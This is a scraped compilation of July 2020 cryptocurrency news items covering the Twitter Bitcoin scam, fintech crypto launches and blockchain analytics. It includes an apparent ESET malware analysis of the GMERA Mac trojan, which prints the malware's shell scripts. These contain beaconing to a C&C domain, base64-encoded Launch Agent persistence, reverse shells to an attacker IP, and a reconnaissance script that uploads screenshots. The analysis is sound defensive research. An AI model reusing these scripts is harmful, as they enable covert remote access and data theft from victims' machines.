Cryptocurrency This Week: Twitter Bitcoin Scam Explained & More – Inc42 Media

Bill Gates, Elon Musk and Jeff Bezos among 130 other high-profile Twitter accounts hacked over Bitcoin scam

More than 373 users fell for the scam, losing a total of INR 89 Lakh before the Tweets were removed, says cofounder of Giottus Cryptocurrency

Cryptocurrency can never be a common mans currency, says Subhash Chandra Garg

High-profile Twitter account holders, including former US president Barack Obama along with Microsoft Corp co-founder Bill Gates, Tesla CEO Elon Musk, Amazon CEO Jeff Bezos, presumptive Democratic candidate for president Joe Biden among others, on Wednesday (July 15), were the target of a Bitcoin-related scam. The well-orchestrated hack posted similar tweets, all instructing people to send Bitcoins to an unknown cryptocurrency wallet.

More than 373 users fell for the scam, losing a total of INR 89 Lakh before the Tweets were removed by the Twitter authority. The attacker had complete access to Twitter they could have posted anything from any of the official accounts, but they chose to seek Bitcoins through false promises, shared Arjun Vijay, cofounder and COO of Giottus Cryptocurrency.

Further, he said people should be more careful, and there is no easy money, and most crypto giveaways that ask for contributions are scams. We hope this brings awareness, and Twitter users do not fall for these kinds of scams again, Vijay added.

In the Bitcoin-scam aftermath, Twitter had temporarily blocked all high-profile verified accounts from posting or even changing their passwords while it investigated and sought to resolve the issue. Twitter said that it will provide more details on the issue in the future as and when the investigation unfolds.

According to the New York Times report, four young hackers were involved in the well-organised Twitter scam. The report stated that the Bitcoin scam was traced back to a group of hackers who met at OGusers.com, a username-swapping community where people buy and sell online handles. The Times noted that the Twitter hack is not from Russian or other sophisticated hacker groups but was done by a group of young people, one of whom says he lives at home with his mother.

Accordingly, two users, lol and ever so anxious came into contact with Kirk, who had access to most sensitive tools, which allowed him to take control of almost any Twitter account, including the 130 high-profile accounts that were being hacked, the report added.

According to Twitters blog, the hackers targeted Twitter employees through a social engineering scheme. In other words, social engineering schemes are the intentional manipulation of people into performing certain actions and revealing confidential information. Further, it stated that the attackers successfully manipulated a small number of employees and used their credentials to access Twitters internal systems.

As of now, we know that they accessed tools only available to our internal support teams to target 130 Twitter accounts, Twitter added.

The price of Bitcoin (BTC) at the time of writing was $9,172.20 with a market cap of $169.11 Bn, compared to last week (July 14, 2020) which stood at $9,186.59, with a market cap of $169.32 Bn.

Ethereum (ETH), on the other hand, was priced at $237.35, with a market cap of $26.54 Bn at the time of writing, compared to last week (July 14, 2020), where the price of the cryptocurrency was $227.24, with a market cap of $25.35 Bn.

The former finance secretary of India, Subhash Chandra Garg, the man behind the bill that proposed a blanket ban on cryptocurrencies, ten-year jail terms and an INR 25 Cr hefty fine, on Friday (July 17), discussed cryptocurrencies fate with the Indian industry leaders and experts, which included Nischal Shetty, the CEO of WazirX, and Siddharth Sogani, the founder of blockchain research company Crebaco.

At a recent webinar organised by CREBACO Global, he said that he approves of the use of crypto assets as regulated commodities, but said that it must not be allowed to function as currencies in India. Sharing his opinion, Garg said that the way cryptocurrency works is on the distributed ledger technology (DLT). Its a high investment technology. It can never be a common mans currency, he added.

COTI, an acronym for currency of the internet, recently announced its listing on the Indian crypto exchange platform WazirX. With this, COTI will be integrated with a Tether (USDT) cryptocurrency pair COTI/USDT on WazirX. COTI is the worlds first directed acyclic graph (DAG)-based blockchain protocol optimised for seamless and scalable payments and low transaction costs. It is one of the most secure and fast which can facilitate thousands of transactions per second.

Taipei-based blockchain security company CoolBitX recently announced its partnership with Elliptic, a crypto asset risk management platform to launch one the first operational Travel Rule solutions for crypto called Sygna Bridge. This combined tool is said to offer customers a complete solution to fulfil anti-money laundering and compliance obligations, including the Financial Action Task Force (FATF) Travel Rule.

Michael Ou, CEO of CoolBitX, in a press statement, said that the solution will provide customers with the ability to protect themselves from violating any Anti-Money Laundering/Combating the Financing of Terrorism (AML/CFT) laws and regulations, allow them to assist regulators to combat illicit money laundering activities, and stay compliant with changing norms.

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Cryptocurrency This Week: Twitter Bitcoin Scam Explained & More - Inc42 Media

Revolut partners with Paxos to bring cryptocurrency trading to the US – TechCrunch

Neobank Revolut launched in the U.S. a couple of months ago. The startup is slowly catching up with features that are available in the U.K. and Europe. This time, Revolut is adding cryptocurrency trading through a partnership with Paxos.

Users in the U.S. can now buy, hold and sell Bitcoin and Ethereum from the Revolut app. The feature is going to be available in 49 states as there are some regulatory issues in Tennessee. If you have USD or other currencies in your Revolut account, you can exchange manually whenever you want.

You can also set up alerts in case there are some important price changes happening. Optionally, users can also round up card payments to the nearest whole dollar and convert spare change into crypto assets.

If youre familiar with Revoluts cryptocurrency feature, you know that the company gives you access to more cryptocurrencies in Europe, such as Litecoin, Bitcoin Cash and XRP. The company says it is starting with BTC and ETH in the U.S. but is already working on bringing more cryptocurrencies.

When it comes to fees, users with a free Revolut account will pay 2.5% in conversion fees. Users with a Premium and Metal subscription will pay 1.5% in fees. Revolut is waving fees for the first 30 days.

This is in line with the companys current fees in Europe. Revolut also has some monthly limits on currency exchange in general for free users as well it can be fiat currencies or cryptocurrencies. You have to pay a 0.5% fee above that limit or pay for a subscription.

Revolut made some changes to its cryptocurrency feature recently. While you now technically own your cryptocurrencies, you cant send and receive cryptocurrencies from third-party wallets. The feature is all about trading buying, holding and selling.

In the U.S., Squares Cash App and Robinhood also let you buy cryptocurrencies in their respective apps. While those features dont offer the same flexibility as a full-fledged cryptocurrency exchange, it makes it easy to get started with cryptocurrencies.

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Revolut partners with Paxos to bring cryptocurrency trading to the US - TechCrunch

A Top Pentagon Investigative Unit Wants To Spy On Worldwide Bitcoin And Crypto Transactions – Forbes

Bitcoin, thrust into the international spotlight this week by Twitter hackers trying to defraud people of their bitcoin, is hard to track but by no means impossible.

Bitcoin, cryptocurrency and blockchain analytics companies are able to forensically examine crypto transactions and are often able to pinpoint exactly who made the transaction, where and when.

Now, a top Pentagon investigative unit is looking for information about hiring a crypto analytics service to "quickly detect criminal and suspicious cryptocurrency transactions" around the world.

A top Pentagon investigative unit has put out a request for a bitcoin and cryptocurrency analytics ... [+] service.

The U.S. Army Criminal Investigation Division Command (USACIDC) is looking to licence an application to help them track and trace illicit cryptocurrency transactions, according to a statement of work published on July 10. Unlike a more formal request for proposal, the posting is part of an earlier research phase called a request for information.

"The contractor must provide worldwide web-based access to a reliable cryptocurrency investigation service," the document read, giving a deadline of July 20 for companies to submit the information.

"The web based application must provide the capability to assist law enforcement identify and stop actors who are using cryptocurrencies for illicit activity such as fraud, extortion, and money laundering. Application must enables users to conduct in-depth investigation into the source of cryptocurrency transactions and provides multi-currency analysis from bitcoin to other top cryptocurrencies."

In addition, the application must "help spot suspicious transaction patterns and interactions with other entities," and "a link analysis tool to facilitate the analysis of data."

The request for work comes after the United States Army Contracting Command of New Jersey published a pre-solicitation notice seeking a similar web application to help law enforcement agencies to track and identify people using cryptocurrencies for illegal purposes in July last year.

The U.S. Army Contracting Command put out a so-called "request for information" on bitcoin and ... [+] cryptocurrency analytics services, inviting firms to respond by July 20.

Companies such as New York-based Chainalysis and London-based Elliptic, which recently won a contract with the IRS, have carved out a niche providing blockchain data and analysis to government agencies, bitcoin and crypto exchanges, and financial institutions.

Coinbase, the largest U.S. bitcoin and cryptocurrency exchange, has recently made headlines by licencing its blockchain tracing software to the U.S. government. The move has sparked controversy, with critics claiming the service causes a conflict of interest for the popular exchange.

Coinbase said in an email that it was aware of the USACIDC request for work but had yet to make a decision on whether it will bid.

"We'll always look for ways to work with agencies and law enforcement to fight illegal activity," a Coinbase spokesperson said.

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A Top Pentagon Investigative Unit Wants To Spy On Worldwide Bitcoin And Crypto Transactions - Forbes

Paypal Developing Cryptocurrency Capabilities, Letter to European Commission Confirms | News – Bitcoin News

Paypal has confirmed that it has been developing cryptocurrency capabilities in a letter the company sent to the European Commission regarding the EU framework for cryptocurrency markets. Recently, Paypal and Venmo were rumored to soon allow users to buy and sell cryptocurrencies directly.

In a letter to the European Commission (EC), Paypal revealed its work on developing crypto capabilities. The letter was in response to the public consultation launched in December last year on building an EU framework for markets in crypto assets. According to Ledger Insights, Paypals letter was published in June, along with a number of other responses the Commission received.

The crypto-asset industry has experienced substantial growth over the past few years, Paypal told the EC. As such, Paypal is continuously monitoring and evaluating global developments in the crypto and blockchain/distributed ledger space.

In the letter, the company explained its involvement with the Libra project, proposed by social media giant Facebook. Noting that it signed a non-binding letter of intent to participate in the Libra Association, Paypal clarified:

Since the projects inception, Paypal has taken unilateral and tangible steps to further develop its capabilities in this [crypto asset] area.

The company proceeded to explain that after leaving the Libra project, it has continued to focus on advancing our existing mission and business priorities to democratize access to financial services.

In the letter, Paypal claims to have more than 300 million active accounts across the globe, with millions of new users being added every year. The company serves customers and businesses in 31 European jurisdictions and has a license to provide banking and payments services in Luxembourg.

Regarding the EU framework for crypto assets, Paypal told the EC that The regulatory framework should allow for innovative products and services to be brought to market without undue regulatory burden while simultaneously providing regulatory clarity, guidance, and safeguards.

Three key points were mentioned. Firstly, Paypal suggested the EUs crypto framework should have a clear set of definitions on various crypto activities to ensure that companies engaged in such activities are properly licensed and regulated. Secondly, the company called for a proper application of a risk-based approach, in line with the principles underpinning existing EU AML regulation and global standards, and lastly any regulatory framework in Europe should strive to be technology-neutral to support innovation and competition in this fast-evolving space, the company described. The Financial Action Task Force (FATF) also recommends a risk-based approach to regulating cryptocurrencies and related service providers.

Last month, Paypal and Venmo, a mobile payment service owned by Paypal, were rumored to soon offer direct crypto buying and selling. News.Bitcoin.com reached out to Paypal but the companys representative neither confirmed nor denied the rumor. Paypal, however, is not new to the crypto space. In 2018, the company filed a patent for an expedited cryptocurrency transaction system. Its CEO, Daniel Schulman, also said in November that he owned bitcoin.

What do you think about Paypal developing crypto capabilities? Let us know in the comments section below.

Image Credits: Shutterstock, Pixabay, Wiki Commons

Disclaimer: This article is for informational purposes only. It is not a direct offer or solicitation of an offer to buy or sell, or a recommendation or endorsement of any products, services, or companies. Bitcoin.com does not provide investment, tax, legal, or accounting advice. Neither the company nor the author is responsible, directly or indirectly, for any damage or loss caused or alleged to be caused by or in connection with the use of or reliance on any content, goods or services mentioned in this article.

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Paypal Developing Cryptocurrency Capabilities, Letter to European Commission Confirms | News - Bitcoin News

CipherTrace Introduces Cryptocurrency Real-Time Predictive Risk Scoring to Mitigate Money Laundering of Crypto from Theft and Ransomware Attacks -…

Exchanges and other Virtual Asset Service Providers using CipherTrace's transaction monitoring can now predict the risk of a bitcoin transaction before it is committed to the blockchain; this protects customers who have had cryptocurrencies that were stolen and those that face ransomware threats

MENLO PARK, Calif., July 21, 2020 /PRNewswire-PRWeb/ --CipherTrace announces cryptocurrency real-time transaction risk scoring with the addition of predictive capabilities to help exchanges, ATMs, OTC desks, hedge funds, custody solutions, payment processors, and financial investigators to ensure compliance with Anti-Money Laundering (AML), Counter-Terrorist Financing (CTF), and sanctions requirements. This capability is now available to select CipherTrace customers, including law enforcement investigating the Twitter hacking case, and will be generally available to the entire customer base as of July 31st.

Real-time analytics and predictive risk scoring for cryptocurrencies enables exchanges and other Virtual Asset Service Providers (VASPs) to be able to score transactions from low to high risk based on whether the funds have been tainted by traveling through illicit paths or associated with known bad actors or sanctioned geographies. CipherTrace implements this foresight without sacrificing user privacy, as the software does not process any personally identifiable information.

What does Real-Time Predictive Risk Scoring Do?

Predictive and real-time analysis of cryptocurrenciesnow a trillion-dollar marketallows a safer environment for the world's transactions. Being able to perform predictive analysis allows customers to see and protect stolen funds, freeze those funds, stop ransomware launderers, and protect customers from fraud. It also allows law enforcement agencies to take action immediately to protect investors, operators, and consumers.

How Does Real-Time Predictive Risk Scoring Work?

Before a bitcoin transaction is confirmed on the blockchain, it is first created and broadcasted to the network. Then, it is stored in a mempool of other unconfirmed transactions until a miner validates it and adds it to the blockchain. At this point, the transaction is final. This process can take at least ten minutes and sometimes hours to complete and places exchanges and other custodial services in the awkward position of forcing customers to wait for their transactions to be confirmed so that they can perform necessary due-diligence on transaction risk.

"It is our goal to make cryptocurrency global and available for everyone, while protecting personal privacy," said Dave Jevans, CEO of CipherTrace. "Cryptocurrency exchanges and other VASPs have regulatory obligations to address the risk of money laundering, terrorist financing, human trafficking, and weapons of mass destruction programs. The introduction of predictive risk scoring provides VASPs with a powerful new tool to identify potentially illicit funds before those transactions are finalized on the Bitcoin blockchain. This capability will also help VASPs offer an improved, more efficient user experience to their customers."

VASPs utilizing CipherTrace's monitoring suite will be able to freeze an account that is flagged as having a high probability of originating with stolen funds. By halting the movement of illicit funds, VASPs will deter future cryptocurrency crimes and help to change bitcoin's lingering reputation created by its early use on the illegal Silk Road marketplace. Most VASPs are required to file suspicious activity reports whenever they receive funds likely to contain illicit origins, and CipherTrace's predictive risk scoring capabilities will facilitate that process.

For media inquiries, please contact Kili Wall at (310) 260-7901 or Kili(at)MelrosePR(dot)com

About CipherTrace CipherTrace, leading cryptocurrency intelligence company, protects financial institutions from crypto laundering risk and is helping to grow the crypto economy by making virtual assets trusted by governments and safe for mass adoption. CipherTrace delivers the world's most comprehensive cryptocurrency intelligence to detect money laundering, inform law enforcement investigations, and enable regulatory supervision. CipherTrace founders are dedicated to protecting consumer privacy, while defending against illicit finance. Deep expertise in cybersecurity, eCrime, payments, banking, encryption, and virtual currencies form the foundation for CipherTrace's commercial offerings. For more information, visit http://www.CipherTrace.com or follow us on Twitter @CipherTrace.

SOURCE CipherTrace

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CipherTrace Introduces Cryptocurrency Real-Time Predictive Risk Scoring to Mitigate Money Laundering of Crypto from Theft and Ransomware Attacks -...

TCS is ready to mine the new crypto economy, snatches early-mover advantage with Quartz – Economic Times

Physical imitations of cryptocurrency in Dortmund, Germany on January 27, 2020.

The Indian IT giant has set its sights on the exploding crypto-assets market globally. Its new product Quartz aims to make swift inroads in cryptocurrency trading in countries like Switzerland and Singapore, where its a legal activity, and is eyeing high net-worth, private banking, and wealth-management segments. Quartz may not find takers in India in the absence of regulatory clarity.

Its a whole new world of opportunities for Indian IT companies. TCS is moving to make a big impact in the global enterprise blockchain-solutions market. The countrys second most-valued company has

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TCS is ready to mine the new crypto economy, snatches early-mover advantage with Quartz - Economic Times

Cryptocurrency Is Reshaping the Fintech Landscape – Finextra

Cryptocurrencies have been around for a while now, and were well past the point where they were considered a temporary, passing gimmick. At this stage, many people agree that cryptocurrencies are the way of the future in many ways, even if there are some flaws in the general idea. The important thing is that were actively experimenting with different solutions for the common problems on the financial market, and weve already come across some quite exciting discoveries along the way. When it comes to fintech, its clear that cryptocurrencies have had a major impact but how strong has it been exactly, and what can we expect from the future in this regard?

Current Uses of Blockchain in Finances

Blockchain is currently actively used in many areas of the financial sector likeforex. Its no longer a secondary thing for many businesses, and support for the technology is rapidly growing. And there is a lot that it can bring to the table as well from easy verification of identities, to speeding up regular everyday transactions, to enabling customers to use their mobile phones more comfortably as part of the purchasing process. There is a lot that blockchain can do that is not even actively explored yet, and its important to pay attention to the new and growing trends in this market.

Growing Trends

Which leads us to our next point. Blockchain is already enjoying an established place in many areas of the market, but it will take a while before its fully reached its potential. Until then, were likely going to see variouscompanies attempting to use it in new and different ways, and not all of those will be successful in the long run. But what truly matters here is that we pay attention to not only the successes, but the failures as well. Identifying the cause for each of those failures is going to be crucial in the long term when it comes to ensuring that were using blockchain to its full potential.

Attractive Prospects

The current prospects for the tech and its integration into the market are already quite attractive. Many companies have been exploring the market in even more detail lately too, and have been doing their best to make the situation more attractive for their users. Because of this, weve seen the rise of many integrations of blockchain tech into various aspects of the current market, and this is something that will likely continue in full force as well.

The Future Is Not Set in Stone

But in the end, its hard to predict where this will all take us. Blockchain is still a new technology compared to the overall state of the financial market, and it will likely be a while until its properly stabilized its position. As we said above, the important thing right now is to pay attention to how this tech evolves and the stages it goes through. Because a lot will happen over the next couple of decades, and those who have been following the trends will be in a better position to take advantage of the new situation.

Until then, its also not a bad idea to experiment with what the market has to offer. Blockchain is already integrated pretty tightly into many sectors, and it doesnt take a lot of effort to get started with this field. The technological barrier today is significantly lower than what it used to be, so there arent many excuses for not following those developments. And even when some things dont pan out, they will still provide a good learning experience for those whove attempted them.

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Cryptocurrency Is Reshaping the Fintech Landscape - Finextra

Mac cryptocurrency trading application rebranded, bundled with malware – We Live Security

ESET researchers lure GMERA malware operators to remotely control their Mac honeypots

Weve recently discovered websites distributing malicious cryptocurrency trading applications for Mac. This malware is used to steal information such as browser cookies, cryptocurrency wallets and screen captures. Analyzing the malware samples, we quickly found that this was a new campaign of what Trend Micro researchers called GMERA, in an analysis they published in September 2019. As in the previous campaigns, the malware reports to a C&C server over HTTP and connects remote terminal sessions to another C&C server using a hardcoded IP address. This time, however, not only did the malware authors wrap the original, legitimate application to include malware; they also rebranded the Kattana trading application with new names and copied its original website. We have seen the following fictitious brandings used in different campaigns: Cointrazer, Cupatrade, Licatrade and Trezarus. In addition to the analysis of the malware code, ESET researchers have also set up honeypots to try to reveal the motivations behind this group of criminals.

We have not yet been able to find exactly where these trojanized applications are promoted. However, in March 2020, Kattana posted a warning suggesting that victims were approached individually to lure them into downloading a trojanized app. We couldnt confirm that it was linked to this particular campaign, but it could very well be the case.

Figure 1. Kattana warns about trojanized copies of their software on Twitter

Copycat websites are set up to make the bogus application download look legitimate. For a person who doesnt know Kattana, the websites do look legitimate.

The download button on the bogus sites is a link to a ZIP archive containing the trojanized application bundle.

Malware analysis in this case is pretty straightforward. We will take the Licatrade sample as the example here. Other samples have minor differences, but the ideas and functionalities are essentially the same. Similar analyses of earlier GMERA campaigns are provided in Trend Micros blogpost and in Objective-Sees Mac malware of 2019 report.

Figure 4. Content of the Licatrade application bundle

Modification timestamps of the files in the ZIP archive, the date the application was signed, and the LastModified HTTP header when we downloaded the archive all show April 15th, 2020. This is highly suggestive that this campaign started on that date.

A shell script (run.sh) is included in the resources of the application bundle. This main executable, written in Swift, launches run.sh. For some reason, the malware author has duplicated functionality to send a simple report to a C&C server over HTTP, and to connect to a remote host via TCP providing a remote shell to the attackers, in both the main executable and the shell script. An additional functionality, in the shell script only, is to set up persistence by installing a Launch Agent.

Here is the full shell script source (ellipsis in long string and defanged):

#! /bin/bashfunction remove_spec_char(){echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'}whoami="$(remove_spec_char `whoami`)"ip="$(remove_spec_char `curl -s ipecho.net/plain`)"req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"launchctl load "/tmp/.com.apple.system.plist"scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

#! /bin/bash

function remove_spec_char(){

echo "$1" | tr -dc '[:alnum:].r' | tr '[:upper:]' '[:lower:]'

}

whoami="$(remove_spec_char `whoami`)"

ip="$(remove_spec_char `curl -s ipecho.net/plain`)"

req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21d2Vpdm5laXZuZSc="

echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"

cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"

launchctl load "/tmp/.com.apple.system.plist"

scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

Its interesting to note that persistence is broken in the Licatrade sample: the content of the resulting Launch Agent file (.com.apple.system.plist) isnt in Property List format as launchd expects, but instead is the command line to be executed.

The decoded content (ellipses in long strings) of the $plist_text variable is:

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

echo 'sdvkmsdfmsdkxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfmsnicvmdskxweivneivne'

If run directly, this code would open a reverse shell from the victim machine to an attacker-controlled server, but that fails here. Fortunately for the attackers, the last line of the shell script also starts a reverse shell to their server.

The Cointrazer sample, used in campaigns prior to Licatrade, does not suffer from this issue: the Launch Agent is installed and successfully starts when the user logs in.

The various reverse shells used by these malware operators connect to different remote ports depending on how they were started. All connections are unencrypted. Here is a list of ports, based on the Licatrade sample.

Here are some example command lines used:

screen -d -m bash -c bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1

zsh -c zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY

The rebranded Kattana application is also in the resources of the application bundle. We wanted to see if, besides the change in name and icon in the application, some other code was changed. Since Kattana asks for credentials for trading platforms to perform trading, we verified if the input fields of these were tampered with and if credentials were exfiltrated in some way. Kattana is built with Electron, and Electron apps have an app.asar file, which is an archive containing the JavaScript code of the application. We have checked all changes between the original Kattana application and the malicious Licatrade copycat and found that only strings and images were changed.

Figure 5. Partial difference between Kattana and Licatrade

Licatrade and its resources were all signed using the same certificate, having the common name field set to Andrey Novoselov and using developer ID M8WVDT659T. The certificate was issued by Apple on April 6th, 2020. It was revoked the same day we notified Apple about this malicious application.

Figure 6. Certificate used to sign Licatrade

Figure 7. Licatrade certificate was revoked May 28th, 2020

For each of the other campaigns we analyzed, a different certificate was used. Both were already revoked by Apple when we started our analyses. See the IoCs section for details about these. Its interesting to note that in the case of Cointrazer, there were only 15 minutes between the moment the certificate was issued by Apple and the malefactors signing their trojanized application. This, and the fact that we didnt find anything else signed with the same key, suggests they got the certificate explicitly for that purpose.

The malicious Licatrade application was available on the licatrade.com website and its C&C HTTP report server domain is stepbystepby.com. Both domains were registered using the levistor777@gmail.com email address. Searching for other domains registered with that email address reveals what looks like several previous campaigns. Here is a list of domains we found in samples or registered with that email address.

Both the websites and HTTP C&C servers receiving the malwares first report are hosted behind Cloudflare.

To learn more about the intentions of this group, we set up honeypots where we monitored all interactions between the GMERA reverse shell backdoors and the operators of this malware.

We saw no C&C commands issued via the HTTP C&C server channel; everything happened through the reverse shells. When it first connected, the C&C server sent a small script to gather the username, the macOS version and location (based on external IP address) of the compromised device.

#! /bin/bashfunction check() { if [ ! -f /private/var/tmp/.i ]; then write else if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then write fi fi}function write() { getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"` echo `whoami` > /private/var/tmp/.i echo `sw_vers -productVersion` >> /private/var/tmp/.i echo "$getit" >> /private/var/tmp/.i}checkcat /private/var/tmp/.i

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#! /bin/bash

function check() {

if [ ! -f /private/var/tmp/.i ]; then

write

else

if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then

write

fi

fi

}

function write() {

getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`

echo `whoami` > /private/var/tmp/.i

echo `sw_vers -productVersion` >> /private/var/tmp/.i

echo "$getit" >> /private/var/tmp/.i

}

check

cat /private/var/tmp/.i

which sent something like this to the operators:

jeremy10.13.4BratislavaSK

jeremy

10.13.4

Bratislava

SK

The TCP connection stays open and waits for further commands. In our case, after a while, the operators manually inspected the machine. Across several of our honeypots, the commands used to perform that inspection varied. Part of it was just listing files across the file system. Sometimes, they would copy-and-paste a base64-encoded script designed to list information to reveal whether the system is a honeypot or actually interesting. The script is decoded, then piped to bash.

Figure 8. Packet capture of the operator sending the base64-encoded secondary reconnaissance script

Here is the decoded script:

echo ""echo "------ Whoami ------"whoamiecho "------ IP info ------"curl -s ipinfo.ioecho "------ Mac Model ------"curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*(.*).*|1|'echo "------ MacOS Version ------"sw_vers -productVersionsw_vers -productVersion | grep -E "10.15.*" && echo -e "33[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA 33[0m"sleep 1echo "------ MacOS Installed ------"date -r /var/db/.AppleSetupDoneecho "------ Disks ------"df -mecho "------ Video Output ------"system_profiler SPDisplaysDataTypeecho "------ Wifi Around ------"/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -secho "------ Virtual Mashine Detector ------"ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."echo "--------------------------------"echo "------ Developer Detector ------"echo "--------------------------------"echo "||| Applications |||"ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"echo "||| Short Bash History |||"cat ~/.bash_history | head -n 20echo "------ Desktop Screen ------"echo "create screenshot..."sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/nullsips -z 500 800 /tmp/screen.jpg &> /dev/nullsips -s formatOptions 50 /tmp/screen.jpg &> /dev/nullecho "uploading..."curl -s -F "file=@/tmp/screen.jpg" https://file.io

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Excerpt from:

Mac cryptocurrency trading application rebranded, bundled with malware - We Live Security

ASX loses out on rising cryptocurrency trend as companies head for other exchanges – Stockhead

The ASXs strong stance against cryptocurrency linked companies has seen the exchange dump several companies and make it difficult for new players to list.

Now the crypto world has cottoned onto the fact that other exchanges are more welcoming.

This has seen new and existing players turn to the likes of the Toronto Stock Exchange (TSX) and the National Stock Exchange (ASX:NSX).

After leaving the ASX in March, game maker Animoca Brands decided to list its fitness and health technology subsidiary OliveX Holdings on the NSX.

Hong Kong-based OliveX makes fitness apps, such as 22 Pushups and Lympo Squat which allow users to earn cryptocurrency by doing squats.

During the September quarter last year, Animoca raised $US2.01m ($2.9m) in cash and crypto via a Simple Agreement for Future Equity (SAFE) security, and also presold utility tokens via its gaming subsidiary TSB Gaming.

However, the company fell foul of the ASX which has repeatedly expressed its disapproval of companies raising funds via cryptocurrencies and subsequently departed the local bourse in March.

The ASX has also delisted other companies that were dabbling in crypto, including Byte Power and First Growth Funds.

The market operator is relying on guidance from ASIC that many initial coin offers (ICO) and crypto assets are likely to be managed investment funds at worst, and therefore need an Australian Financial Services Licence (AFSL).

Australian crypto payments service provider Banxa, which was established in 2014, is looking to become a listed company, and being a true-blue Aussie it wanted to list on the ASX.

But the difficulty in doing so has prompted it to head to the TSX Venture Exchange (TSXV).

I would have loved to have listed on the ASX given that the company was established in Australia and the key people are Australian, founder and non-executive chairman Domenic Carosa told Stockhead.

But this is an example of the ASX taking a view that crypto companies are basically not welcome on the exchange. From my perspective I think thats an unfortunate decision, and one that means Australian companies need to look abroad from a capital raising and from an exchange perspective.

However, Carosa said the two major Canadian exchanges, the TSX and the Canadian Securities Exchange (CSE), were both very open to crypto and crypto-related companies.

In trying to decide which exchange to list on, Banxa met with exchanges and advisors in Australia, Singapore, Hong Kong, the UK and Canada.

We decided on the TSX because theyre the largest exchange in Canada, Carosa told Stockhead.

In terms of the number of companies listed and the number of IPOs in the last 12-18 months, it just dwarfs the ASX.

We decided to list onto this exchange because we can very easily dual-list on the comparable US exchange once were listed on the TSX and once were at a certain size, theres a migration path to NASDAQ as well.

The TSX is the senior equity market, while the TSXV is a public venture capital marketplace for emerging companies. Both are owned by the TMX Group.

Australia is not completely off limits for crypto companies, however, with both the NSX and the Sydney Stock Exchange (SSX) open to listing them.

Irrespective of industry sector, the SSX is in the business of listing suitable companies through efficient, supportive and best in class governance listing rules which support growth companies to reach their potential, Antony Tolfts, director market supervision and listing compliance for the SSX, told Stockhead.

The SSX gives prospective companies, from all industry sectors, a fair go to provide an efficient path to market for qualifying growth companies.

Companies operating within the digital and crypto space would receive an objective review with the same due diligence and evaluation under the listing rules as any other company looking to list or already listed.

Tolfts said most companies operating in the digital and crypto sector used a blockchain platform to support their business.

The SSX is passionate about blockchain to support digital technology, Tolfts said, and its CEO Michael Go also sits on the board and began developing platforms as early as 2015 and the CEO of the SSX, Michael Go, also sits on the board of industry body Blockchain Australia.

Banxa expects to have a market cap of around $41m on listing, and Carosa was of the view that the TSXV would be a better fit than the smaller exchanges in Australia given the global nature of its business.

We just thought the TSX provides the right kind of coverage for a global company and the fact that we can dual list in the US and get access to North American investors was also quite attractive for us, he said.

Canadian and US investors are a lot less conservative when it comes to backing crypto companies, according to Carosa.

Australians by their nature are typically quite conservative, and so weve found the bulk of our investors have come from Asia and the Americas. There just seems to be much more appetite for a crypto-style business outside of Australia than actually within Australia, which once again is unfortunate.

Im originally from Melbourne and Im now living in Amsterdam. Ive been living here for the last four years.

For me thats a bit of a shame because my heart is still very much in Australia, but at the end of the day from a follow the money perspective, there is certainly more appetite and interest for crypto outside of Australia and weve just had to pursue a global exchange that reflects the values of Banxa.

Banxa just completed a pre-IPO funding round, which included ASX-listed tech investor Thorney Technologies (ASX:TEK), and is in the final stages of listing on the TSXV, which it expects to do within the next couple of months.

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First Mover: Bitcoin Shows Signs of Life But Ether (And Crew) Steal the Limelight – CoinDesk – CoinDesk

In the race to become the dominant cryptocurrency platform, Ethereum is gaining on Bitcoin.

